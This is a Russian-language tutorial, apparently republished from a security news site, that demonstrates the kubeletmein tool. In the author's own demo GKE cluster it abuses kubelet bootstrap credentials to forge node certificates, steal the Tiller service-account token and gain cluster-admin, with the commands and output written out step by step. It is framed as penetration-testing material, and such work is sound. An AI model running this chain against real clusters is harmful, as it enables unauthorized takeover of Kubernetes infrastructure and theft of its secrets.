Kubeletmein — утилита для повышения привилегий в кластерах Kubernetes

Автор: Marc Wickenden

Kubeletmein – простая утилита для автоматизации техник, связанных с эксплуатацией протокола TLS агента kubelet, и расширения привилегий внутри кластера на базе Kubernetes.

Чтобы понять предысторию вопроса, рекомендую ознакомиться со статьей «Kubelet hacking on GKE».

Введение

Kubeletmein представляет собой одиночный бинарный файл, который вы можете загрузить в скомпрометированную рабочую единицу (pod) кластера на базе GKE (Google Kubernetes Engine) для чтения атрибутов экземпляра метаданных, генерации и отправки CSR (certificate signing request; запрос на получение сертификата). Будет сформирован файл kubeconfig, который вы можете использовать при работе с командой kubectl. Демонстрируемая утилита экономит массу времени по сравнению с тем, если бы вы работали с curl и openssl, которых, к тому же, может не оказаться в скомпрометированном контейнере.

Исходный код и скомпилированные релизы находятся по адресу https://github.com/4armed/kubeletmein. Внесение изменений и pull-запросы также приветствуется.

Установка демонстрационного кластера

Вначале по-быстрому развернем кластер на базе Google Kubernetes Engine. Предполагается, что у вас есть аккаунт в Google Cloud с включенным биллингом, проект настроен, и учетная запись активирована на рабочей станции. В противном случае сначала сходите по адресу https://cloud.google.com/. У этого сервиса предусмотрено щедрое кредитное предложение, если вы хотите опробовать технологию.

Если в Cloud Console вы одобрили настройки, используемые по умолчанию для стандартного кластера, то без проблем должны оказаться в командной строке. Я изменил только следующее:

    Отключена базовая HTTP-аутентификация.

    Отключены клиентские сертификаты.

    Включено авто масштабирование при помощи пула узлов (минимум 1, максимум 3).

    Включено использование выгружаемых узлов.

Для создания и активации кластера используем следующую команду:

$ gcloud beta container clusters create «cluster0» —zone «us-central1-a» —no-enable-basic-auth —cluster-version «1.9.7-gke.11» —machine-type «n1-standard-1» —image-type «COS» —disk-type «pd-standard» —disk-size «100» —scopes «https://www.googleapis.com/auth/compute»,»https://www.googleapis.com/auth/devstorage.read_only»,»https://www.googleapis.com/auth/logging.write»,»https://www.googleapis.com/auth/monitoring»,»https://www.googleapis.com/auth/servicecontrol»,»https://www.googleapis.com/auth/service.management.readonly»,»https://www.googleapis.com/auth/trace.append» —preemptible —num-nodes «1» —enable-cloud-logging —enable-cloud-monitoring —no-enable-ip-alias —network «default» —subnetwork «default» —enable-autoscaling —min-nodes «1» —max-nodes «3» —addons HorizontalPodAutoscaling,HttpLoadBalancing,KubernetesDashboard —enable-autoupgrade —enable-autorepair

Кластер работает.

Creating cluster cluster0 in us-central1-a…done.kubeconfig entry generated for cluster0.NAME LOCATION MASTER_VERSION MASTER_IP MACHINE_TYPE NODE_VERSION NUM_NODES STATUScluster0 us-central1-a 1.9.7-gke.11 35.188.62.53 n1-standard-1 1.9.7-gke.11 3 RUNNING

Чтобы сделать нашу жизнь более интересной и наметить цель для атаки, установим менеджер пакетов Helm. Более подробная инструкция по установке доступна по адресу https://docs.helm.sh/using_helm/#installing-helm. Я лишь по-быстрому установил права RBAC (Role-based-access-control; управление доступом на основе ролей) и компонент Tiller.

$ kubectl create -f — <<EOFapiVersion: v1kind: ServiceAccountmetadata: name: tiller namespace: kube-system—apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: tillerroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-adminsubjects: — kind: ServiceAccount name: tiller namespace: kube-systemEOFserviceaccount «tiller» createdclusterrolebinding.rbac.authorization.k8s.io «tiller» created

Установка Tiller:

$ helm init —service-account tillerTiller (the Helm server-side component) has been installed into your Kubernetes Cluster. Please note: by default, Tiller is deployed with an insecure ‘allow unauthenticated users’ policy.To prevent this, run `helm init` with the —tiller-tls-verify flag.For more information on securing your installation see: https://docs.helm.sh/using_helm/#securing-your-helm-installation

Happy Helming!

Обратите внимание на надпись выше и никогда не делайте подобную конфигурацию в реальной системе. Всегда используйте протокол TLS, а иначе вероятность того, что ваш кластер окажется скомпрометированным, увеличится во много раз. Мы делаем такие настройки исключительно в демонстрационной среде. Стоит также отметить, что TLS не сможет защитить от того, что мы собираемся делать.

После того как все установлено, приступаем к тестированию утилиты kubeletmein.

Загрузка и запуск kubeletmein

Запускаем контейнер в нашем кластере и приступаем к эксплуатации учетной записи, используемой kubelet, при помощи kubeletmein. В Alpine Linux все работает прекрасно.

$ kubectl run -ti —image=alpine —attach alpine — shIf you don’t see a command prompt, try pressing enter.

$

Небольшое замечание. По умолчанию после запуска команды выше вы окажетесь в командной строке с символом # (то есть с правами суперпользователя). Я изменил эту настройку, поскольку в противном случае синтаксис кода на Bash будет подсвечивать все команды как комментарий.

Скачиваем kubectl для использования в дальнейшем.

$ wget https://storage.googleapis.com/kubernetes-release/release/$(wget -q -O — https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl -O /usr/local/bin/kubectl && chmod +x /usr/local/bin/kubectlConnecting to storage.googleapis.com (108.177.112.128:443)kubectl 100% |*********************************************************************************************************************************| 38295k 0:00:00 ETA

Теперь скачиваем kubeletmein. Последняя версия на момент написания статьи — 0.5.3.

$ wget https://github.com/4ARMED/kubeletmein/releases/download/v0.5.3/kubeletmein_0.5.3_linux_amd64 -O /usr/local/bin/kubeletmein && chmod +x /usr/local/bin/kubeletmeinConnecting to github.com (192.30.253.112:443)Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (52.216.138.12:443)kubeletmein 100% |*********************************************************************************************************************************| 21762k 0:00:00 ETA

Первым делом создаем файл bootstrap-kubeconfig, который содержит ключ/сертификат для kubelet из kube-env.

$ kubeletmein gke bootstrap2018-12-06T13:43:26Z [ℹ] writing ca cert to: ca-certificates.crt2018-12-06T13:43:26Z [ℹ] writing kubelet cert to: kubelet.crt2018-12-06T13:43:26Z [ℹ] writing kubelet key to: kubelet.key2018-12-06T13:43:26Z [ℹ] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig2018-12-06T13:43:26Z [ℹ] wrote bootstrap-kubeconfig2018-12-06T13:43:26Z [ℹ] now generate a new node certificate with: kubeletmein gke generate

Если захотите, то можете ознакомиться с содержимым созданного файла, который по умолчанию называется bootstrap-kubeconfig. При желании можно переопределить этот файл при помощи флага –b.

Теперь генерируем новый сертификат. На данный момент мы не знаем имена узлов внутри кластера, поэтому в качестве имени узла указываем «anything».

$ kubeletmein gke generate -n anything2018-12-06T13:45:24Z [ℹ] using bootstrap-config to request new cert for node: anything2018-12-06T13:45:24Z [ℹ] got new cert and wrote kubeconfig

2018-12-06T13:45:24Z [ℹ] now try: kubectl —kubeconfig kubeconfig get pods

Теперь в текущей директории у нас появился файл kubeconfig с доступом system:nodes на базе сертификата из директории ./pki. Пробуем.

$ kubectl —kubeconfig kubeconfig get podsNAME READY STATUS RESTARTS AGEalpine-5498978876-66bbs 1/1 Running 2 35m

Взлом Helm через учетную запись, используемую kubelet

Как было упомянуто в предыдущей статье, теперь мы можем получить секреты, но только для узлов, для которых есть сертификат. И здесь утилита kubeletmein значительно ускоряет весь процесс, поскольку генерирует и отправляет csr, а также создает файл kubeconfig.

Ищем местонахождение секрета токена для служебной учетной записи в Tiller.

$ kubectl —kubeconfig kubeconfig get pods -l app=helm,name=tiller -n kube-system -o wideNAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATEStiller-deploy-5c99b8bcbf-w7xq5 1/1 Running 0 18m 10.36.1.8 gke-cluster0-default-pool-eb80ec96-9n9f <none> <none>

По результатам выше видно, что Tiller установлен на узле gke-cluster0-default-pool-eb80ec96-9n9f, и нам понадобится соответствующий сертификат узла.

Вначале удаляем текущие сертификаты из директории ./pki (используемые по умолчанию).

$ rm pki/kubelet-client-*

Генерируем новый сертификат.

$ kubeletmein gke generate -n gke-cluster0-default-pool-eb80ec96-9n9f2018-12-06T13:56:34Z [ℹ] using bootstrap-config to request new cert for node: gke-cluster0-default-pool-eb80ec96-9n9f2018-12-06T13:56:34Z [ℹ] got new cert and wrote kubeconfig2018-12-06T13:56:34Z [ℹ] now try: kubectl —kubeconfig kubeconfig get pods

Мы только создали новый файл kubeconfig. Теперь можно приступать к чтению секретов из узла gke-cluster0-default-pool-eb80ec96-9n9f.

$ kubectl —kubeconfig kubeconfig -n kube-system get pod tiller-deploy-5c99b8bcbf-w7xq5 -o jsonpath='{.spec.volumes[0].secret.secretName}{«n»}’tiller-token-mr4df $ kubectl —kubeconfig kubeconfig -n kube-system get secret tiller-token-mr4df -o yamlapiVersion: v1data: ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURDekNDQWZPZ0F3SUJBZ0lR[..]SUNBVEUtLS0tLQo= namespace: a3ViZS1zeXN0ZW0= token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBjM01pT2lKcmRXSmxjbTVsZEdW[..]dDFZbVV0YzNsemRHVnRPblJwYkd4bGNpSjkuTFpoRnNrUENZYVg2cWlhVDBTeElkRmZGWm9xSDR3eGIxdHhCWkt1UUF0QXpNWGtLaDV0Tnk4MGFOdWRxU0RibTZyNXVhZ21JU2xDejl3VVdrY3lzeVU2dkFWLUdRcWtmVDV4cHIxQy04dUJYZ3pxSmRvM19HZldGVUpfcnZnZTFkd3Y4MW5IcGtuOWV5RGczeWY1SENWYy03LWN1RnRUdHRQU3lqQ2ppLVB1ZnQwZXpkb1h0WmpjcUFXakg0dXgtdXh4TjJRM21tU01sVkFzZGpNQy1zUmk5Y0otTW8wWEc0V0Nab3NTRF9vaHhLZ3pfWmhNd3Q5MnRDRHpUcFkzR1V6NWxVTmZLeTY2NzhTcEZwMVF4YjZWVTJybXd6anQyMHQwXy1weWFMZHJtRHlLdEpEc2NnZ2xHMm1aUFdMZjBUUjdxdUc5NFZYbGNkam9Zd0V3aFVBkind: Secretmetadata: annotations: kubernetes.io/service-account.name: tiller kubernetes.io/service-account.uid: 9cba9310-f95b-11e8-a788-42010a800192 creationTimestamp: «2018-12-06T13:34:10Z» name: tiller-token-mr4df namespace: kube-system resourceVersion: «4240» selfLink: /api/v1/namespaces/kube-system/secrets/tiller-token-mr4df uid: 9cbc8029-f95b-11e8-a788-42010a800192type: kubernetes.io/service-account-token

Теперь мы получили секретный объект. Токен, как и все секреты в Kubernetes, представлены в кодировке base64.

Берем токен и декодируем в файл.

$ kubectl —kubeconfig kubeconfig -n kube-system get secret tiller-token-mr4df -o jsonpath='{.data.token}’ | base64 -d > tiller-token

Полученный токен можно использовать для доступа к API с привилегиями служебного аккаунта tiller.

$ kubectl —certificate-authority ca-certificates.crt —token `cat tiller-token` —server https://${KUBERNETES_PORT_443_TCP_ADDR} get secretsNAME TYPE DATA AGEdefault-token-cfbb5 kubernetes.io/service-account-token 3 66mpeeking-cardinal-mysql Opaque 2 28m

Заключение

Мы стали админом кластера с ролью cluster-admin. Результат неплохой с учетом того, что изначально у нас был непривилегированный контейнер и не использовался openssl.

Kubeletmein реализован для ускорения аудитов безопасности для кластеров на базе Kubernetes. Мы используем это приложения для выполнения пентестов.

Методы защиты от подобного рода атак относительно просты. За подробностями обращайтесь к нашей статье «Kubelet hacking on GKE».

Источник: securitylab.ru

Новые Технологии